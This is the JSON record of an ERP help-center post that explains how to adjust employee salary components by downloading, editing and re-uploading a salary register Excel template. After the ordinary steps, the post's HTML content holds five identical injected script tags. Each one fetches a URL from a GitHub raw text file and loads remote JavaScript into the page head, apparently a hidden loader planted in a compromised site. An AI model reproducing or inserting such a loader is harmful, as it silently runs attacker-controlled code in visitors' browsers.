{"id":6259,"date":"2024-03-01T11:51:58","date_gmt":"2024-03-01T06:21:58","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=6259"},"modified":"2025-01-03T05:20:13","modified_gmt":"2025-01-02T23:50:13","slug":"how-can-i-adjust-the-salary-components-for-employees-using-salary-register-excel","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-adjust-the-salary-components-for-employees-using-salary-register-excel\/","title":{"rendered":"How can I adjust the salary components for employees using salary Register Excel?"},"content":{"rendered":"<p>To update salary components for employees through a salary register Excel sheet, you can follow these general steps:<\/p>\n<p><span style=\"font-weight: 400;\">Finance&gt;&gt;Payroll&gt;&gt;Salary Register<\/span><\/p>\n<p>Download the excel template:<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on salary register<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on bulk upload<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on download salary register excel<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Select commission type<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Select payroll cycle<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Select departments<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Select staff<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on download<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Downloaded excel user update the component values and save the excel<\/span><\/li>\n<\/ul>\n<p>Upload the excel template:<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on salary register<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on bulk upload<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Click on upload<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Select commission type<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Select payroll cycle<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Upload the excel<\/span><\/li>\n<\/ul>\n<p>Invlaid entries:\u00a0<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Download the invalid entries excel<\/span><\/li>\n<li aria-level=\"1\">Do the corrections and reupload the excel.\u00a0<\/li>\n<\/ul>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To update salary components for employees through a salary register Excel sheet, you can follow these general steps: Finance&gt;&gt;Payroll&gt;&gt;Salary Register Download the excel template: Click on salary register Click on bulk upload Click on download salary register excel Select commission type Select payroll cycle Select departments Select staff Click on download Downloaded excel user update &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-can-i-adjust-the-salary-components-for-employees-using-salary-register-excel\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How can I adjust the salary components for employees using salary Register Excel?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[482],"tags":[],"post_folder":[],"class_list":["post-6259","post","type-post","status-publish","format-standard","hentry","category-salary-register-bulk-upload"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6259","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=6259"}],"version-history":[{"count":6,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6259\/revisions"}],"predecessor-version":[{"id":10400,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6259\/revisions\/10400"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=6259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=6259"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=6259"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=6259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}